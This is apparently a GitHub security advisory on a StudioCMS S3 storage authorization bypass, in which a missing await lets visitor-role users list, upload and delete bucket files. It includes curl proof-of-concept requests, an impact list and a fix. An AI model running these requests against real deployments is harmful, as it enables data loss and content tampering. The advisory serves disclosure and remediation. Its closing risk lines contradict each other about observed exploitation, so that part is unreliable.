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GHSA-mm78-fgq8-6pgr
No affected components available
Summary
The S3 storage manager's isAuthorized() function is declared async (returns Promise<boolean>) but is called without await in both the POST and PUT handlers. Since a Promise object is always truthy in JavaScript, !isAuthorized(type) always evaluates to false, completely bypassing the authorization check. Any authenticated user with the lowest visitor role can upload, delete, rename, and list all files in the S3 bucket.
Details
The isAuthorized function is typed as returning Promise<boolean> in packages/studiocms/src/handlers/storage-manager/definitions.ts:88:
export type ParsedContext = {
getJson: () => Promise<ContextJsonBody>;
getArrayBuffer: () => Promise<ArrayBuffer>;
getHeader: (name: string) => string | null;
isAuthorized: (type?: AuthorizationType) => Promise<boolean>; // async
};
Both context drivers implement it as async — packages/studiocms/src/handlers/storage-manager/core/effectify-astro-context.ts:32:
isAuthorized: async (type) => {
switch (type) {
case 'headers': {
// ... token verification ...
const isEditor = level >= UserPermissionLevel.editor;
if (!isEditor) return false;
return true;
}
default: {
const isEditor = locals.StudioCMS.security?.userPermissionLevel.isEditor || false;
return isEditor;
}
}
},
But in the S3 storage manager, it's called without await — packages/@studiocms/s3-storage/src/s3-storage-manager.ts:200:
if (authRequiredActions.includes(jsonBody.action) && !isAuthorized(type)) {
return { data: { error: 'Unauthorized' }, status: 401 };
}
And again at line 372 (PUT handler):
if (!isAuthorized(type)) {
return { data: { error: 'Unauthorized' }, status: 401 };
}
isAuthorized(type) returns a Promise object. !Promise{...} is always false because a Promise is truthy. The 401 response is never returned.
Execution flow:
- Visitor-role user sends POST to
/studiocms_api/integrations/storage/manager AstroLocalsMiddlewareverifies session exists — passes (visitor is logged in)- Handler calls
!isAuthorized('locals')→ evaluates!Promise{...}=false - Authorization check is skipped entirely
- Visitor performs the requested storage operation
PoC
# 1. Log in as a visitor-role user and obtain session cookie
# 2. List all files in S3 bucket (should require editor+)
curl -X POST 'http://localhost:4321/studiocms_api/integrations/storage/manager' \
-H 'Cookie: studiocms-session=<visitor-session-token>' \
-H 'Content-Type: application/json' \
-d '{"action":"list","prefix":""}'
# Expected: 401 Unauthorized
# Actual: 200 with full bucket listing
# 3. Upload a file as visitor (should require editor+)
curl -X PUT 'http://localhost:4321/studiocms_api/integrations/storage/manager' \
-H 'Cookie: studiocms-session=<visitor-session-token>' \
-H 'Content-Type: application/octet-stream' \
-H 'x-storage-key: malicious/payload.html' \
--data-binary '<h1>Uploaded by visitor</h1>'
# Expected: 401 Unauthorized
# Actual: 200 File uploaded
# 4. Delete a file as visitor (should require editor+)
curl -X POST 'http://localhost:4321/studiocms_api/integrations/storage/manager' \
-H 'Cookie: studiocms-session=<visitor-session-token>' \
-H 'Content-Type: application/json' \
-d '{"action":"delete","key":"important/document.pdf"}'
# Expected: 401 Unauthorized
# Actual: 200 File deleted
Impact
- Any authenticated visitor gains full S3 storage management (upload, delete, rename, list) — capabilities restricted to editor role and above
- Attacker can delete arbitrary files from the S3 bucket, causing data loss
- Attacker can list all files and generate presigned download URLs, exposing all stored content
- Attacker can upload arbitrary files or rename existing ones, replacing legitimate content with malicious payloads
Recommended Fix
Add await to both isAuthorized() calls in packages/@studiocms/s3-storage/src/s3-storage-manager.ts:
// POST handler (line 200) — before:
if (authRequiredActions.includes(jsonBody.action) && !isAuthorized(type)) {
// After:
if (authRequiredActions.includes(jsonBody.action) && !(await isAuthorized(type))) {
// PUT handler (line 372) — before:
if (!isAuthorized(type)) {
// After:
if (!(await isAuthorized(type))) {
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a low impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a low impact on the availability of the system.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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